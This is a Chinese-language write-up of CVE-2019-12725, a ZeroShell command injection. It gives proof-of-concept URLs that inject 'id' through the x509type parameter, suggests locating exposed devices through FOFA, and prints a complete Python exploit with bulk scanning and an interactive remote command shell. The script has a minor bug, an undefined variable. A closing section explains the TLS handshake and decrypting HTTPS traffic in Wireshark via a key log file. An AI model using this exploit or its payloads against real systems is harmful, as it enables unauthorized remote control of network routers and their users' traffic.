漏洞详情
Zeroshell 是一个微型的linux发行版本,它功能强大,具有强大的router、radius、web门户、防火墙、virtual、Qos、 DHCP、dns转发等功能,可以用来安装到服务器上为内网提供网络服务,而且安装和使用都很方便,有U盘,Live CD和Flash imgage文件用于安装,可以使用web界面进行设置和管理。想自己部署软路由,又不想编译,找驱动程序,或者别人编译的固件有后门,可以考虑用Zeroshell替代Openwrt/LEDE。
总的来说Zeroshell的特性包括:
负载均衡及多网络连接的失效转移,通过3G调制解调器的UMTS/HSDPA连接
用于提供安全认证和无线网络加密密钥自动管理的RADIUS服务器
用于支持网页登录的强制网络门户(商场和酒店等商用场景)
影响版本
ZeroShell < 3.9.0
验证POC
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A<cmd>%0A%27
复现
fofa搜索,找到网络中该设备
exp
python3 CVE-2019-12725.py -u http://127.0.0.1:1111 单个url测试
python3 CVE-2019-12725.py -c http://127.0.0.1:1111 cmdshell模式
python3 CVE-2019-12725.py -f url.txt 批量检测
import requests
import re
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import random
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]
#随机ua
def get_ua():
first_num = random.randint(55, 62)
third_num = random.randint(0, 3200)
fourth_num = random.randint(0, 140)
os_type = [
'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)
ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
'(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
)
return ua
def check_vuln(url):
url = parse.urlparse(url)
url2=url.scheme + '://' + url.netloc
headers = {
'User-Agent': get_ua(),
}
# data=base64.b64encode("eyJzZXQtcHJvcGVydHkiOnsicmVxdWVzdERpc3BhdGNoZXIucmVxdWVzdFBhcnNlcnMuZW5hYmxlUmVtb3RlU3RyZWFtaW5nIjp0cnVlfX0=")
try:
res2 = requests.get(url2 + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27',headers=headers,timeout=10,verify=False)
if res2.status_code==200 and "uid" in res2.text:
print("\033[32m[+]%s is vuln\033[0m" %url2)
return 1
else:
print("\033[31m[-]%s is not vuln\033[0m" %url1)
except Exception as e:
print("\033[31m[-]%s is timeout\033[0m" %url2)
#cmdshell
def cmdshell(url):
if check_vuln(url)==1:
url = parse.urlparse(url)
url1 = url.scheme + '://' + url.netloc + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A'
while 1:
shell = input("\033[35mcmd: \033[0m")
if shell =="exit":
sys.exit(0)
else:
headers = {
'User-Agent': get_ua(),
}
try:
res = requests.get(url1 + shell + '%0A%27',headers=headers,timeout=10,verify=False)
if res.status_code==200 and len(res.text) != 0:
vulntext=res.text.split('<html>')
print("\033[32m%s\033[0m" %vulntext[0])
else:
print("\033[31m[-]%s Command execution failed !\033[0m" %url1)
except Exception as e:
print("\033[31m[-]%s is timeout!\033[0m" %url1)
#多线程
def multithreading(url_list, pools=5):
works = []
for i in url_list:
# works.append((func_params, None))
works.append(i)
# print(works)
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(check_vuln, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
if __name__ == '__main__':
show = r'''
_____ _ _ _____ _____ _____ __ _____ __ _____ ___________ _____
/ __ \ | | | ___| / __ \| _ |/ | | _ | / | / __ \|___ / __ \| ___|
| / \/ | | | |__ ______`' / /'| |/' |`| | | |_| |______`| | `' / /' / /`' / /'|___ \
| | | | | | __|______| / / | /| | | | \____ |______|| | / / / / / / \ \
| \__/\ \_/ / |___ ./ /___\ |_/ /_| |_.___/ / _| |_./ /___./ / ./ /___/\__/ /
\____/\___/\____/ \_____/ \___/ \___/\____/ \___/\_____/\_/ \_____/\____/
CVE-2019-12725 By m2
'''
print(show + '\n')
arg=ArgumentParser(description='CVE-2019-12725 By m2')
arg.add_argument("-u",
"--url",
help="Target URL; Example:http://ip:port")
arg.add_argument("-f",
"--file",
help="Target URL; Example:url.txt")
arg.add_argument("-c",
"--cmd",
help="Target URL; Example:http://ip:port")
args=arg.parse_args()
url=args.url
filename=args.file
cmd=args.cmd
print('[*]任务开始...')
if url != None and cmd == None and filename == None:
check_vuln(url)
elif url == None and cmd == None and filename != None:
start=time()
for i in open(filename):
i=i.replace('\n','')
check_vuln(i)
end=time()
print('任务完成,用时%d' %(end-start))
elif url == None and cmd != None and filename == None:
cmdshell(cmd)
流量分析
由于是https协议,wireshark抓包后都是加密流量,需要对流量进行解密。
原理
SSL/TLS的整个握手过程:
- Clienthello:发送客户端的功能和首选项给服务器,在连接建立后,当希望重协商、或者响应服务器的重协商请求时会发送。
- version:客户端支持的最佳协议版本
- Random:共32字节,28字节随机数,4字节额外信息,受客户端时钟影响(为了避免浏览器指纹采集,现在一般会对4字节时钟做扭曲)
- Session ID:32字节随机数,用于和服务器重建会话,为空表示新建会话
- cipher suit:客户端支持的所有密码套件,按优先级排列
- Compression:客户端支持的压缩算法,默认无压缩
- Extensions:由任意数量的扩展组成,携带额外数据
- ServerHello:
- 选择客户端提供的参数反馈客户端
- 服务器无需支持客户端支持的最佳版本,如果服务器不支持客户端版本,可以提供其他版本以期待客户端可以接受
- Certificate:
- 用于携带服务器X.509证书链
- 主证书必须第一个发送,中间证书按照正确的顺序跟在主证书之后
- 服务器必须保证发送的证书和选择的算法套件一致
- Certificate消息时可选的
- ServerKeyExchange: 携带密钥交换的额外数据,取决于加密套件
- ServerHelloDone:服务器已将所有预计的握手消息发送完毕
- ClientkeyExchange:携带客户端为密钥交换提供的信息
- ChangeCipherSpec:发送端已取得用以连接参数的足够的信息
- Finish:握手完成,消息内容加密,双方可以交换验证,整个握手完整性所需的数据
- 算法:verrify_data = PRF(master_secret , finished_label,hash(handshake_message))
破解方式
要解密HTTPS流量,需要得到加密密钥,加密密钥由主密钥、客户端随机数、服务器随机数生成。由上述握手过程可知,客户端随机数和服务器随机数在双方握手消息中传递,而主密钥(master_secret)则由预主密钥(pre_master_secret)结合两个随机数生成。预主密钥通过密码套件中的密钥交换算法进行交换(DH、RSA)。
因此,通过Wireshark解密HTTPS,可以从两个地方下手:
- 密钥交换算法选择RSA,然后提取服务器的私钥,将私钥导入Wireshark,通过Wireshark解密密钥交换过程中传递的预主密钥,再结合之前的客户端和服务器随机数生成主密钥,进一步生成加密密钥,即可解密后续抓取到的加密报文。
- 直接从客户端提取预主密钥,结合客户端和服务器随机数生成加密密钥,实现对加密报文的解密。
方法一
方法二
mkdir ~/tls && touch ~/tls/sslkeylog.log
#zsh
echo "\nexport SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.zshrc && source ~/.zshrc
#bash
echo "\nexport SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.bash_profile && . ~/.bash_profile
让Wireshark读取密钥文件
在 Wireshark
的 SSL
配置面板的 「(Pre)-Master-Secret log filename」选项中这个文件选上(编辑->=首选项->协议)。如下图
注意,这是老版本的wireshark,如果发现没有SSL选项,则选择TLS,新版本的是TLS;但是配置是一样的;
「SSL debug file
」也建议配上,这样解密过程中的日志都会记录下来,便于调试。
新版 Wireshark
在配置了 TLS
加密后,会自动识别并解析 HTTPS
流量。访问想要抓包的 HTTPS
网站,根据 IP
和协议过滤一下,就可以轻松看到想要的 HTTPS
数据包了。
配置好密钥之后,重新抓取。
解密成功
follow http